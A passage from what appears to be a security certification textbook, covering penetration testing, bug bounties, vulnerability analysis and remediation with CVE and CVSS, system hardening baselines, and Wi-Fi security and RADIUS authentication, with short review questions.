an extensive reconnaissance phase. These tests are useful for simulating the
behavior of an external threat.
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• Known environment (previously known as white box) testing— is when

the consultant/attacker has complete access to information about the network.
These tests are useful for simulating the behavior of a privileged insider threat.

• Partially known environment (previously known as gray box) testing— is

when the consultant/attacker has some information. This type of test requires
partial reconnaissance on the part of the consultant/attacker.

Bug Bounties
Bug bounty programs are another proactive strategy and describe when
organizations incentivize discovering and reporting vulnerabilities by offering
rewards to external security researchers or “white hat” hackers. Both penetration
testing and bug bounty programs are proactive cybersecurity practices to identify
and mitigate vulnerabilities in a system or application. They both involve exploiting
vulnerabilities to understand their potential impact, with the difference lying
primarily in who conducts the testing and how it’s structured. Penetration testing
is typically performed by a hired team of professional ethical hackers within a
confined time frame, using a structured approach based on the organization’s
requirements. This approach allows for a focused, in-depth examination of specific
systems or applications and provides a predictable cost and timeline.
In contrast, bug bounty programs open the testing process to a global community
of independent security researchers. Rewards for finding and reporting
vulnerabilities incentivize these researchers. This approach can bring diverse skills
and perspectives to the testing process, potentially uncovering more complex or
obscure vulnerabilities.
An organization may choose penetration testing for a more controlled, targeted
assessment, especially when testing specific components or meeting certain
compliance requirements. A bug bounty program might be preferred when
seeking a more extensive range of testing, leveraging the collective skills of a
global community. However, many organizations see the value in both and use a
combination of pen testing and bug bounty programs to ensure comprehensive
vulnerability management.

The HackerOne platform is designed to support security researchers and promote responsible
disclosure of vulnerabilities. (Screenshot used with permission from HackerOne.)

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Responsible disclosure programs are established by organizations to encourage

individuals to report security vulnerabilities in software or systems, allowing the
organization to address and fix these vulnerabilities before they can be exploited
maliciously. Responsible disclosure programs provide guidelines and procedures for
reporting vulnerabilities and often offer rewards or recognition to individuals who
responsibly disclose verified security issues.

Auditing
Auditing is an essential part of vulnerability management. Where product audits
are focused on specific features, such as application code, system/process audits
interrogate the wider use and deployment of products, including supply chain,
configuration, support, monitoring, and cybersecurity. Security audits assess an
organization’s security controls, policies, and procedures, often using standards
like ISO 27001 or the NIST Cybersecurity Framework as benchmarks. These audits
can identify technical vulnerabilities and operational weaknesses impacting an
organization’s security posture.
Cybersecurity audits are comprehensive reviews designed to ensure an
organization’s security posture aligns with established standards and best practices.
There are various types of cybersecurity audits, including compliance audits, which
assess adherence to regulations like GDPR or HIPAA; risk-based audits, which
identify potential threats and vulnerabilities in an organization’s systems and
processes; and technical audits, which delve into the specifics of the organization’s
IT infrastructure, examining areas like network security, access controls, and data
protection measures.
Penetration testing fits into cybersecurity audit practices as a critical component of
a technical audit as it provides a practical assessment of the organization’s defenses
by simulating real-world attack scenarios. Rather than simply evaluating policies or
configurations, penetration tests actively seek exploitable vulnerabilities, providing
a clear picture of what an attacker might achieve. The findings from these tests are
then used to improve the organization’s security controls and mitigate identified
risks.
Penetration tests also play an important role in compliance audits, as many
regulations require organizations to conduct regular penetration testing as part
of their cybersecurity program. For instance, the Payment Card Industry Data
Security Standard (PCI DSS) mandates annual and proactive penetration tests for
organizations handling cardholder data.

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Review Activity:
Vulnerability Identification Methods
5

Answer the following questions:

1. You have received an urgent threat advisory and need to configure a

network vulnerability scan to check for the presence of a related CVE
on your network. What configuration check should you make in the
vulnerability scanning software before running the scan?

2. Your CEO wants to know if the company’s threat intelligence platform

2.

makes effective use of OSINT. What is OSINT?

3. A small company that you provide security consulting support to has

3.

resisted investing in an event management and threat intelligence

platform. The CEO has become concerned about an APT risk known to
target supply chains within the company’s industry sector and wants you
to scan their systems for any sign that they have been targeted already.
What are the additional challenges of meeting this request, given the
lack of investment?

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Topic 8D
Vulnerability Analysis and Remediation
4

EXAM OBJECTIVES COVERED

4.3 Explain various activities associated with vulnerability management.

Vulnerability analysis and remediation are critical stages in vulnerability

management. Vulnerability analysis involves evaluating vulnerabilities for their
potential impact and exploitability. This process might consider factors such as the
ease of exploitation, the potential damage from a successful exploit, the value of
the vulnerable asset, and the current threat landscape.
Vulnerability analysis helps prioritize remediation efforts, ensuring the most critical
vulnerabilities are addressed first. Remediation describes how vulnerabilities
are addressed to mitigate their potential risk. Mitigation techniques generally
include applying patches, changing configurations, updating software, or replacing
vulnerable systems. When immediate remediation is impossible, compensating
controls describe alternative plans to reduce the risk. Verification that remediation
efforts have been successful is accomplished via several methods, including re-
scanning affected systems. Organizations can significantly improve their resilience
against cyberattacks by carefully analyzing and remediating vulnerabilities.

Common Vulnerabilities and Exposures

An automated scanner needs to be kept up to date with information about known
vulnerabilities. This information is often described as a vulnerability feed, though
the Nessus tool refers to these feeds as plug-ins, and OpenVAS refers to them as
network vulnerability tests (NVTs). Often, the vulnerability feed forms an important
part of scan vendors’ commercial models, because the latest updates require a valid
subscription to acquire.

Checking feed status in the Greenbone Community Edition vulnerability manager.

(Screenshot: Greenbone Community Edition greenbone.net/en/community-edition.)

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The National Vulnerability Database (NVD) is a repository maintained by the National

Institute of Standards and Technology (NIST) that provides detailed information about
known software vulnerabilities, including vulnerability descriptions, severity ratings,
affected software versions, and mitigation measures. https://nvd.nist.gov

Vulnerability feeds make use of common identifiers to facilitate sharing of

intelligence data across different platforms. Many vulnerability scanners use the
Security Content Automation Protocol (SCAP) to obtain feed or plug-in updates
(scap.nist.gov).
As well as providing a mechanism for distributing the feed, SCAP defines ways
to compare the actual configuration of a system to a target-secure baseline plus
various systems of common identifiers. These identifiers supply a standard means
for different products to refer to a vulnerability or platform consistently.
Common Vulnerabilities and Exposures (CVE) is a dictionary of vulnerabilities in
published operating systems and applications software (cve.mitre.org). There are
several elements that make up a vulnerability’s entry in the CVE:
• An identifier in the format: CVE-YYYY-####, where YYYY is the year the
vulnerability was discovered, and #### is at least four digits that indicate the
order in which the vulnerability was discovered.

• A brief description of the vulnerability.

• A reference list of URLs that supply more information on the vulnerability.

• The date the vulnerability entry was created.

The CVE dictionary provides the principal input for NIST’s National Vulnerability
Database (nvd.nist.gov). The NVD supplements the CVE descriptions with additional
analysis, a criticality metric, calculated using the Common Vulnerability Scoring
System (CVSS), plus fix information.
CVSS is maintained by the Forum of Incident Response and Security Teams
(first.org/cvss). CVSS metrics generate a score from 0 to 10 based on characteristics
of the vulnerability, such as whether it can be triggered remotely or needs local
access, whether user intervention is required, and so on. The scores are banded
into descriptions too:

Score Description
0.1+ Low
4.0+ Medium
7.0+ High
9.0+ Critical

False Positives, False Negatives, and Log Review

After completing a vulnerability scan, the tool will generate a summary report of all
discoveries. The report color-codes vulnerabilities based on their criticality, with red
typically denoting a weakness that requires immediate attention. Vulnerabilities can
be reviewed by scope (most critical across all hosts) or by host. The reports typically
include links to specific details about each vulnerability and how issues can be
remediated.

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Scan report listing multiple high-severity vulnerabilities found in a Windows host.

(Screenshot: Greenbone Community Edition greenbone.net/en/community-edition.)

Active or intrusive scanning is generally more adept at detecting a wider array

of vulnerabilities in host systems and can notably reduce false positives. A false
positive refers to an instance where a scanner or another assessment tool
incorrectly identifies a vulnerability.
For instance, a vulnerability scan might flag an open port on the firewall as a
security risk, based on its known use by a certain malware. However, if this port
isn’t actually open on the system, it leads to unnecessary time and effort spent in
researching the issue. If a vulnerability scan throws excessive false positives, there’s
a risk of disregarding the scans altogether, which could potentially escalate into
larger problems.
Moreover, one should remain vigilant about the risk of false negatives, or
potential vulnerabilities that go undetected in a scan. This risk can be somewhat
counteracted by running repeat scans periodically and employing scanners from
different vendors. Given that automated scan plugins rely on pre-compiled scripts,
they may not replicate the success a skilled and determined hacker might achieve,
potentially leading to a false sense of security.
Examining related system and network logs can improve the process of validating
vulnerability reports. As an example, suppose a vulnerability scanner identifies a
running process on a Windows machine, labeling the application that creates this
process as unstable and potentially causing the operating system to lock up and
crash other processes and services. A review of the computer’s event logs reveals
several entries indicating the process’s failure over the past few weeks. Additional
entries show the subsequent failure of a few other processes. In this case, a relevant
data source has been utilized to confirm the validity of the vulnerability alert.

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Vulnerability Analysis
Vulnerability analysis is critical in supporting several key aspects of an organization’s
cybersecurity strategy, including prioritization, vulnerability classification,
considerations of exposure, organizational impact, and risk tolerance contexts.

Prioritization
Vulnerability analysis helps prioritize remediation efforts by identifying the most
critical vulnerabilities that pose the most significant risk to an organization.
Prioritization is typically based on factors such as the severity of the vulnerability,
the ease of exploitation, and the potential impact of an attack. Prioritizing
vulnerabilities helps an organization focus limited resources on addressing the
most significant threats first.

Classification
Vulnerability analysis aids in vulnerability classification, categorizing vulnerabilities
based on their characteristics, such as the type of system or application affected,
the nature of the vulnerability, or the potential impact. Classification can help clarify
the scope and nature of an organization’s threats.

Exposure Factor
Vulnerability analysis must also consider exposure factors, like the accessibility
of a vulnerable system or data, and environmental factors, like the current threat
landscape or the specifics of the organization’s IT infrastructure. These factors can
significantly influence the likelihood of a vulnerability being exploited and directly
impact its overall risk level.
Exposure factor (EF) represents the extent to which an asset is susceptible to
being compromised or impacted by a specific vulnerability, and it helps assess the
potential impact or loss that could occur if the vulnerability is exploited. Factors
might include weak authentication mechanisms, inadequate network segmentation,
or insufficient access control methods.

Impacts
Vulnerability analysis assesses the potential organizational impact of vulnerabilities.
This could be financial loss, reputational damage, operational disruption, or
regulatory penalties. Understanding this impact is crucial for making informed
decisions about risk mitigation.

Environmental Variables
Several environmental variables play a significant role in influencing vulnerability
analysis. One of the primary environmental factors is the organization’s IT
infrastructure, which includes the hardware, software, networks, and systems in
use. These components’ diversity, complexity, and age can affect the number and
types of vulnerabilities present. For instance, legacy systems may have known
unpatched vulnerabilities, while new, emerging technologies might introduce
unknown vulnerabilities.
The external threat landscape is another crucial environmental factor. The
prevalence of certain types of attacks or the activities of specific threat actors can
affect the likelihood of particular vulnerabilities being exploited. For example, if
ransomware attacks are rising within the medical industry, vulnerabilities that are
exploited as part of those attacks must be prioritized in that sector.

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The regulatory and compliance environment is another significant factor.

Organizations in heavily regulated industries, like healthcare or finance, may need
to prioritize vulnerabilities that could lead to sensitive data breaches and result in
regulatory penalties. The operational environment, including the organization’s
workflows, business processes, and usage patterns, can also influence vulnerability
analysis. Certain operational practices increase exposure to specific vulnerabilities
or affect the potential impact of a successful exploit. Examples include poor
patch management practices, lack of rigorous access controls, lack of awareness
training, poor configuration management practices, and insufficient application
development policies.

Risk Tolerance
Vulnerability analysis must align with an organization’s risk tolerance. Risk
tolerance refers to the level of risk an organization is willing to accept, and this can
vary greatly depending on the organization’s size, industry, regulatory environment,
and strategic objectives. By aligning vulnerability analysis with risk tolerance, an
organization can ensure that its vulnerability management efforts align with its
overall risk management strategy.

Vulnerability Response and Remediation

Vulnerability response and remediation practices encompass various strategies
and tactics, including patching, insurance, segmentation, compensating controls,
exceptions, and exemptions, each playing a distinct role in managing and mitigating
cybersecurity risks.

Remediation Practices
• Patching is one of the most straightforward and effective remediation practices.
It involves applying updates and patches to software or systems to fix known
vulnerabilities. Patching helps prevent attackers from exploiting known
vulnerabilities, improving an organization’s security posture. Robust, centralized
patch management processes are essential to ensure patches are applied
promptly and consistently. A patch management program focuses on regularly
installing software patches to address vulnerabilities and improve security in
various types of systems, including operating systems, network devices (routers,
switches, and firewalls), databases, web applications, desktop applications (email
clients, web browsers, and office productivity applications), and other software
applications deployed within an organization’s IT environment.

• Cybersecurity insurance is another factor in vulnerability response. While

insurance doesn’t mitigate vulnerabilities directly, it can provide financial
protection in case of a security breach resulting from a vulnerability. Insurance
is important in a comprehensive risk management strategy, complementing
technical controls with financial risk transfer. Examples include coverage for data
breach response costs, business interruption, ransomware attacks, third-party
liability, cyber extortion, and many others.

• Segmentation involves dividing a network into separate segments to contain

potential security breaches. If an attacker manages to exploit a vulnerability and
gain access to one segment, they would be confined to that segment, preventing
them from moving laterally across the entire network, limiting the impact of a
successful attack and supporting incident response teams.

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• Compensating controls refer to measures put in place to mitigate the risk

of a vulnerability when security teams cannot directly eliminate it or when
direct remediation is not immediately possible. Examples include additional
monitoring, secondary authentication mechanisms, or enhanced encryption.

• Exceptions and exemptions describe scenarios where specific vulnerabilities

cannot be remediated due to business criticality, technical constraints, or cost
constraints. In these cases, the risk is accepted by senior leadership teams, and
the rationale for the decision is documented along with an established timeline
for reassessment.

Validation
Validating vulnerability remediation is critically important for several key reasons.
Validation ensures that the remediation actions have been implemented correctly
and function as intended. Despite best intentions, human error or technical
problems can frequently lead to incomplete or incorrect implementation of fixes.
These issues go unnoticed without validation, exposing the organization to the
same vulnerability it originally sought to address.
Validation helps confirm that the remediation has not inadvertently introduced new
issues or vulnerabilities. For example, a patch may interfere with other software or
systems, or a configuration change could expose new security gaps.
Also, validation provides a measure of accountability, ensuring that responsible
parties have adequately addressed identified vulnerabilities. This is especially
important in larger organizations where multiple teams or individuals may be
involved in the remediation process.
• Re-scanning involves performing additional vulnerability scans after
remediation actions have been implemented. The re-scan aims to determine if
the vulnerabilities identified in the initial scan have been resolved. If the same
vulnerabilities are not identified in the re-scan, it strongly indicates that the
remediation efforts were successful.

• Audit involves an in-depth examination of the remediation process by reviewing

the steps taken to address the vulnerability and ensuring they align with the
organization’s policies and best practices. Audits also verify that necessary
documentation has been updated, such as records of identified vulnerabilities,
remediation actions taken, and any exceptions or exemptions granted.

• Verification is the process of confirming the results of the remediation actions

and involves various methods, including manual checks, automated testing, or
reviews of system logs or other records. Verification ensures that remediation
steps have been implemented correctly, functioning as intended, and do not
introduce new issues or vulnerabilities.

Reporting
Vulnerability reporting is a crucial aspect of vulnerability management and is
critical in maintaining an organization’s cybersecurity posture. A comprehensive
vulnerability report highlights the existing vulnerabilities and ranks them based
on their severity and potential impact on the organization’s assets, enabling the
management to prioritize remediation efforts effectively.
The Common Vulnerability Scoring System (CVSS) provides a standardized method
for rating the severity of vulnerabilities and includes metrics such as exploitability,
impact, and remediation level. By using CVSS, organizations can compare and
prioritize vulnerabilities consistently.

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Another important practice is including information about the potential impact of

each vulnerability in the report. This could involve describing the possible outcomes
if the vulnerability was exploited, including data breaches, system outages, or other
operational impacts. It is essential to provide recommendations for addressing
each vulnerability in the report. This might involve suggesting specific patches or
updates, recommending configuration changes, or identifying other mitigation
strategies.
Timely reporting is also essential, as delays in reporting can lead to delays in
remediation and increase the window of opportunity for attackers. Vulnerability
reports must be presented in a clear, concise format that is easy for technical
and nontechnical stakeholders to understand to help ensure that the report’s
implications are understood and that appropriate actions are taken in response.

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Review Activity:
Vulnerability Analysis and
Remediation
5

Answer the following questions:

1. This is a dictionary of vulnerabilities in published operating systems and

applications software.

2. A vulnerability scan reports that a CVE associated with CentOS Linux is

2.

present on a host, but you have established that the host is not running
CentOS. What type of scanning error event is this?

3. This type of protection can provide financial protection in case of a

3.

security breach resulting from a vulnerability.

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Lesson 8
Summary
4

You should be able to summarize types of security assessments, such as

vulnerability, threat hunting, and penetration testing. You should also be able to
explain general procedures for conducting these assessments.

Guidelines for Performing Vulnerability Assessments

Follow these guidelines when you consider the use of security assessments:
• Identify the procedures and tools that are required to scan for vulnerabilities.
This might mean provisioning passive network scanners, active remote or agent-
based network scanners, and application or web application scanners.

• Develop a configuration and maintenance plan to ensure updates to

vulnerability and threat feeds.

• Run scans regularly and review the results to identify false positives and false
negatives, using log review and additional CVE information to validate results if
necessary.

• Schedule configuration reviews and remediation plans, using CVSS vulnerability

criticality to prioritize actions.

• Consider implementing threat analysis platforms, monitoring advisories and

bulletins for new threat sources.

• Consider implementing penetration testing exercises, ensuring that these are set
up with a clear project scope.

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 Lesson 9
Evaluate Network Security
1

Capabilities
LESSON INTRODUCTION
Secure baselines, hardening, wireless security, and network access control
are fundamental concepts in cybersecurity. Secure baselines establish a set of
standardized security configurations for different types of IT assets, such as
operating systems, networks, and applications. These baselines represent a starting
point for security measures, offering a defined minimum level of security that all
systems must meet.
Hardening is the process of reducing system vulnerabilities to make IT resources
more resilient to attacks. It involves disabling unnecessary services, configuring
appropriate permissions, applying patches and updates, and ensuring adherence to
secure configurations defined by the secure baselines. Wireless security describes
the measures to protect wireless networks from threats and unauthorized access.
This includes using robust encryption (like WPA3), secure authentication methods
(like RADIUS in enterprise mode), and monitoring for rogue access points.
Network access control (NAC) is a security solution that enforces policy on devices
seeking to access network resources. It identifies, categorizes, and manages
the activities of all devices on a network, ensuring they comply with security
policies before granting access and continuously monitoring them while they are
connected. These concepts form a multilayered security approach to protect an
organization’s IT infrastructure from various cyber threats.

Lesson Objectives
In this lesson, you will do the following:
• Describe the importance of secure baselines.

• Explore device hardening concepts.

• Summarize wireless network design considerations.

• Explain wireless security settings.

• Understand network access control (NAC) capabilities.

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Topic 9A
Network Security Baselines
2

EXAM OBJECTIVES COVERED

4.1 Given a scenario, apply common security techniques to computing resources.
4.5 Given a scenario, modify enterprise capabilities to enhance security.

Network security baselines describe a set of minimum security controls and

configurations for a network. Baselines typically cover areas such as firewall
configurations, router and switch security settings, wireless access point
configurations, and security protocols for network devices. Baselines provide a
starting point for the hardening process. They ensure that unnecessary services
are disabled, default passwords are changed, secure protocols are enforced,
and include many other settings. Security Content Automation Protocol (SCAP)
compliant tools can automate the assessment of security configurations against a
defined baseline.

Benchmarks and Secure Configuration Guides

A secure baseline is a collection of standard configurations and settings for
network devices, software, patching and updates, access controls, logging,
monitoring, password policies, encryption, endpoint protection, and many others.
Secure baselines improve information technology security, manageability, and
operational efficiencies by establishing consistent and centralized rules and
procedures regarding configuring and securing the environment.
The Center for Internet Security (CIS) Benchmarks are an important resource for
secure configuration best practices. CIS is recognized globally for publishing and
maintaining best practice guides for securing IT systems and data. CIS Benchmarks
cover multiple domains, such as networks, operating systems, and applications,
and are updated continuously in response to evolving risks. For example, there
are benchmarks for compliance with IT frameworks and compliance programs,
such as PCI DSS, NIST 800-53, SOX, and ISO 27000. There are also product-focused
benchmarks, such as for Windows Desktop, Windows Server, macOS, Linux, Cisco,
web browsers, web servers, database and email servers, and VMware ESXi. Security
Technical Implementation Guides (STIGs) are a specific secure baseline developed
by the Defense Information Systems Agency (DISA) for the US Department
of Defense. Like CIS Benchmarks, STIGs define a standardized set of security
configurations and controls specifically designed for the DoD’s IT infrastructure.
Several tools and technologies are available to help manage, deploy, and measure
compliance with established secure baselines. Configuration management tools,
such as Puppet, Chef, Ansible, and Microsoft’s Group Policy, allow organizations to
automate the deployment of secure baseline configurations across various diverse
systems. These tools help enforce consistency and detect and correct deviations
from the established baseline. For monitoring compliance, Security Content
Automation Protocol (SCAP) compliant tools, like OpenSCAP, can assess and verify
the system’s adherence to the baseline. Furthermore, the CIS provides the CIS-CAT
Pro tool, designed to assess system configurations against CIS’s secure baseline
benchmarks. The SCAP Compliance Checker (SCC) is a tool maintained by the DISA
used to measure compliance with STIG baselines.

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Hardening Concepts
Network equipment, software, and operating systems use default settings from
the developer or manufacturer which attempt to balance ease of use with security.
Default configurations are an attractive target for attackers as they usually include
well-documented credentials, allow simple passwords, use insecure protocols,
and many other problematic settings. By leaving these default settings in place,
organizations increase the likelihood of successful cyberattacks. Therefore, it’s
crucial to change these default settings to improve security.
Hardening describes the methods to improve a device’s security by changing its
default configuration, often by implementing the recommendations in published
secure baselines.

Switches and Routers

Examples of changes designed to improve the security of switches and routers from
the default settings include the following:
• Change Default Credentials that are well documented and pose a significant
security risk.

• Disable Unnecessary Services and Interfaces on a switch or router. Not every

service or interface is needed. For example, services like HTTP or Telnet should
be avoided.

• Use Secure Management Protocols such as SSH instead of Telnet or HTTPS

instead of HTTP.

• Implement Access Control Lists (ACLs) to restrict access to the router or switch
to only required devices and networks.

• Enable Logging and Monitoring to help identify issues like repeated login
failures, configuration changes, and many others.

• Configure Port Security helps limit the devices that can connect to a switch port
to prevent unauthorized access.

• Strong Password Policies help reduce the risk of password attacks.

• Physically Secure Equipment like keeping devices in a locked room to prevent

unauthorized physical access.

Server Hardware and Operating Systems

Examples of changes designed to improve the security of servers from the default
settings include the following:
• Change Default Credentials to prevent unauthorized access, similar to network
devices.

• Disable Unnecessary Services to reduce the attack surface of the server. Each
service running on a server represents a potential point of entry for an attacker.

• Apply Software Security Patches and Updates Regularly to fix known

vulnerabilities and provide security improvements. Automated patch
management ensures this process is consistent and timely.

• Least Privilege Principle limits each user to the least amount of privilege
necessary to perform a function to reduce the impact of a compromised
account.

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• Use Firewalls and Intrusion Detection Systems (IDS) to help block or alert on
malicious activity.

• Secure Configuration of servers should use baseline configurations such as

those provided by the CIS or STIGs.

• Strong Access Controls include strong password policies, multifactor

authentication (MFA), and privileged access management (PAM).

• Enable Logging and Monitoring to help identify issues like repeated login
failures, configuration changes, and many others similar to the benefits for
network equipment.

• Use Antivirus and Antimalware Solutions to detect and quarantine malware

automatically.

• Physical Security of server equipment racks, server rooms, or datacenters

prevents unauthorized access.

Wireless Network Installation Considerations

Wireless network installation considerations refer to the factors that ensure good
availability of authorized Wi-Fi access points. A network with patchy coverage is
vulnerable to rogue and evil twin attacks.

The 5 GHz band has more space to configure nonoverlapping channels. Also note that
a WAP can use bonded channels to improve bandwidth, but this increases risks from
interference.

Wireless Access Point (WAP) Placement

An infrastructure-based wireless network comprises one or more wireless access
points, each connected to a wired network. The access points forward traffic to
and from the wired switched network. Each WAP is identified by its MAC address,
also referred to as its basic service set identifier (BSSID). Each wireless network is
identified by its name or service set identifier (SSID).
Wireless networks can operate in either the 2.4 GHz or 5 GHz radio band. Each
radio band is divided into a number of channels, and each WAP must be configured
to use a specific channel. For performance reasons, the channels chosen should be
as widely spaced as possible to reduce interference.

Site Surveys and Heat Maps

The coverage and interference factors mean that WAPs must be positioned and
configured to cover the whole area with the least overlap as possible. A site survey
is used to measure signal strength and channel usage throughout the area to
cover. A site survey starts with an architectural map of the site, with features that
can cause background interference marked. These features include solid walls,
reflective surfaces, motors, microwave ovens, and so on. A Wi-Fi-enabled laptop or
mobile device with Wi-Fi analyzer software installed performs the survey. The Wi-Fi
analyzer records information about the signal obtained at regularly spaced points
as the surveyor moves around the area.

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Example output from Lizard System's Wi-Fi Scanner tool. (Screenshot courtesy of Lizard Systems.)

These readings are combined and analyzed to produce a heat map, showing
where a signal is strong (red) or weak (green/blue), and which channel is being used
and how they overlap. This data is then used to optimize the design by adjusting
transmit power to reduce a WAP’s range, changing the channel on a WAP, adding a
new WAP, or physically moving a WAP to a new location.

An illustration of a heat map.

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Wireless Encryption
As well as the site design, a wireless network must be configured with security
settings. Without encryption, anyone within range can intercept and read packets
passing over the wireless network. Security choices are determined by device
support for the various Wi-Fi security standards, by the type of authentication
infrastructure, and by the purpose of the WLAN. Security standard determine which
cryptographic protocols are supported, the means of generating the encryption key,
and the available methods for authenticating wireless stations when they try to join
(or associate with) the network.
The first version of Wi-Fi Protected Access (WPA) was designed to fix critical
vulnerabilities in the earlier wired equivalent privacy (WEP) standard. Like WEP,
version 1 of WPA uses the RC4 stream cipher but adds a mechanism called the
Temporal Key Integrity Protocol (TKIP) to make it stronger.

Configuring a TP-LINK SOHO access point with wireless encryption and authentication settings.
In this example, the 2.4 GHz band allows legacy connections with WPA2-Personal security, while
the 5 GHz network is for 802.11ax (Wi-Fi 6) capable devices using WPA3-SAE authentication.
(Screenshot used with permission from TP-Link Technologies.)

Wi-Fi Protected Setup (WPS)

As setting up an access point securely is relatively complex for residential
consumers, vendors have developed a system to automate the process called
Wi-Fi Protected Setup (WPS). To use WPS, both the access point and wireless
station (client device) must be WPS-capable. Typically, the devices will have a push
button. Activating this on the access point and the adapter simultaneously will
associate the devices using a PIN, then associate the adapter with the access point
using WPA2. The system generates a random SSID and PSK. If the devices do not
support the push button method, the PIN (printed on the WAP) can be entered
manually.

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Unfortunately, WPS is vulnerable to a brute force attack. While the PIN is eight
characters, one digit is a checksum and the rest are verified as two separate PINs
of four and three characters. These separate PINs are many orders of magnitude
simpler to brute force, typically requiring just hours to crack. On some models,
disabling WPS through the admin interface does not actually disable the protocol,
or there is no option to disable it. Some APs can lock out an intruder if a brute force
attack is detected, but in some cases, the attack can just be resumed when the
lockout period expires.
To counter this, the lockout period can be increased. However, this can leave APs
vulnerable to a denial of service (DoS) attack. When provisioning a WAP, it is essential to
verify what steps the manufacturer has taken to make their WPS implementation secure
and to use the required device firmware level identified as secure.
The Easy Connect method, announced alongside WPA3, is intended to replace WPS
as a method of securely configuring client devices with the information required to
access a Wi-Fi network. Easy Connect is a brand name for the Device Provisioning
Protocol (DPP).
Each participating device must be configured with a public/private key pair. Easy
Connect uses quick response (QR) codes or near-field communication (NFC) tags
to communicate each device’s public key. A smartphone is registered as an Easy
Connect configurator app and associated with the WAP using its QR code. Each
client device can then be associated by scanning its QR code or NFC tag in the
configurator app. As well as fixing the security problems associated with WPS, this
is a straightforward means of configuring headless Internet of Things (IoT) devices
with Wi-Fi connectivity.

Wi-Fi Protected Access 3 (WPA3)

Neither WEP nor the original WPA version is considered secure enough for
continued use. WPA2 uses the Advanced Encryption Standard (AES) cipher with
128-bit keys, deployed within the Counter Mode with Cipher Block Chaining
Message Authentication Code Protocol (CCMP). AES replaces RC4 and CCMP
replaces TKIP. CCMP provides authenticated encryption, which is designed to make
replay attacks harder.
Weaknesses found in WPA2 led to its intended replacement by WPA3. The main
features of WPA3 are as follows:
• Simultaneous Authentication of Equals (SAE)—replaces the Pre-Shared Key
(PSK) exchange protocol in WPA2, ensuring an attacker cannot intercept the
Wi-Fi password even when capturing data from a successful login.

• Enhanced Open—encrypts traffic between devices and the access point, even
without a password, which increases privacy and security on open networks.

• Updated Cryptographic Protocols—replaces AES CCMP with the AES Galois

Counter Mode Protocol (GCMP) mode of operation. Enterprise authentication
methods must use 192-bit AES, while personal authentication can use either
128-bit or 192-bit.

• Wi-Fi Easy Connect—allows connecting devices by scanning a QR code, reducing

the need for complicated configurations while maintaining secure connections.

Wi-Fi performance also depends on device support for the latest 802.11 standards. The
most recent generation (802.11ax) is being marketed as Wi-Fi 6. The earlier standards
are retroactively named Wi-Fi 5 (802.11ac) and Wi-Fi 4 (802.11n). The performance
standards are developed in parallel with the WPA security specifications. Most Wi-Fi 6
devices and some Wi-Fi 5 and Wi-Fi 4 products should support WPA3 either natively or
with a firmware/driver update.

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Wi-Fi Authentication Methods

In order to secure a network, you must confirm that only valid users are connecting
to it. Wi-Fi authentication comes in three types: personal, open, and enterprise.
Within the personal category, there are two methods: pre-shared key authentication
(PSK) and simultaneous authentication of equals (SAE).

WPA2 Pre-Shared Key Authentication

In WPA2, pre-shared key (PSK) authentication uses a passphrase to generate the
key used to encrypt communications. It is also referred to as group authentication
because a group of users shares the same secret. When the access point is set to
WPA2-PSK mode, the administrator configures a passphrase of between 8 and 63
ASCII characters. This is converted to a 256-bit HMAC (expressed as a 64-character
hex value) using the PBKDF2 key stretching algorithm. This HMAC is referred to as
the pairwise master key (PMK). The same secret must be configured on the access
point and on each node that joins the network. The PMK is used as part of WPA2’s
4-way handshake to derive various session keys.

All types of Wi-Fi personal authentication have been shown to be vulnerable to attacks
that allow dictionary or brute force attacks against the passphrase. At a minimum, the
passphrase must be at least 14 characters long to try to mitigate risks from cracking.

WPA3 Personal Authentication

While WPA3 still uses a passphrase to authenticate stations in personal mode, it
changes the method this secret is uses to agree session keys. The scheme used is
called a Password-Authenticated Key Exchange (PAKE). In WPA3, the Simultaneous
Authentication of Equals (SAE) protocol replaces the 4-way handshake, which has
been found vulnerable to various attacks. SAE uses the Dragonfly handshake, which
is basically Diffie-Hellman over elliptic curves key agreement, combined with a
hash value derived from the password and device MAC address to authenticate the
nodes. With SAE, there should be no way for an attacker to sniff out the handshake
to obtain the hash value and try to use an offline brute force or dictionary attack
to recover the password. Dragonfly also implements ephemeral session keys
providing forward secrecy.

The configuration interfaces for access points can use different labels for these methods.
You might see WPA2-Personal and WPA3-SAE rather than WPA2-PSK and WPA3-
Personal, for example. Additionally, an access point can be configured for WPA3 only or
with support for legacy WPA2 (WPA3-Personal Transition mode). Researchers already
found flaws in WPA3-Personal, one of which relies on a downgrade attack to use WPA2
(wi-fi.org/security-update-april-2019).

Advanced Authentication
Wireless enterprise authentication modes, such as WPA2/WPA3-Enterprise,
include several essential components designed to improve security for corporate
wireless networks. One important element is 802.1x authentication, which provides
a port-based network access control framework, ensuring that only authenticated
devices are granted network access. Typically, 802.1x requires an authentication
server such as RADIUS (Remote Authentication Dial-In User Service), which verifies
the credentials of users or devices trying to connect to the network.

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In enterprise mode authentication schemes, users have a unique set of credentials

rather than a shared passphrase as used in WPA2/WPA3 personal mode. Requiring
each user or device to authenticate using unique credentials allows network
administrators to track network usage at a granular level. The protocol also
supports multiple Extensible Authentication Protocol (EAP) types, such as EAP-TLS,
EAP-TTLS, or PEAP, which define specific authentication methods. EAP-TLS, for
instance, uses client-server certificates for mutual authentication, while EAP-TTLS
and PEAP utilize a server-side certificate. The server-side certificate is used to
establish a secure tunnel for transmitting user credentials and helps devices
validate the legitimacy of the access point. Enterprise mode authentication includes
dynamic encryption key management, automatically changing the encryption keys
used during a user’s session.

Remote Authentication Dial-In User Service (RADIUS)

The Remote Authentication Dial-In User Service (RADIUS) standard is published as
an Internet standard. There are several RADIUS server and client products.
The NAS device (RADIUS client) is configured with the IP address of the RADIUS
server and with a shared secret. This allows the client to authenticate to the
server. Remember that the client is the access device (switch, access point, or VPN
gateway), not the user’s PC or laptop. A generic RADIUS authentication workflow
proceeds as follows:
1. The user’s device (the supplicant) makes a connection to the NAS appliance,
such as an access point, switch, or remote access server.

2. The NAS prompts the user for their authentication credentials. RADIUS
2.

supports PAP, CHAP, and EAP. Most implementations now use EAP, as PAP
and CHAP are not secure. If EAP credentials are required, the NAS enables the
supplicant to transmit EAP over LAN (EAPoL) data, but not any other type of
network traffic.

3. The supplicant submits the credentials as EAPoL data. The RADIUS client uses
3.

this information to create an Access-Request RADIUS packet, encrypted using

the shared secret. It sends the Access-Request to the AAA server using UDP on
port 1812 (by default).

4. The AAA server decrypts the Access-Request using the shared secret. If
4.

the Access-Request cannot be decrypted (because the shared secret is not

correctly configured, for instance), the server does not respond.

5. With EAP, there will be an exchange of Access-Challenge and Access-Request

5.

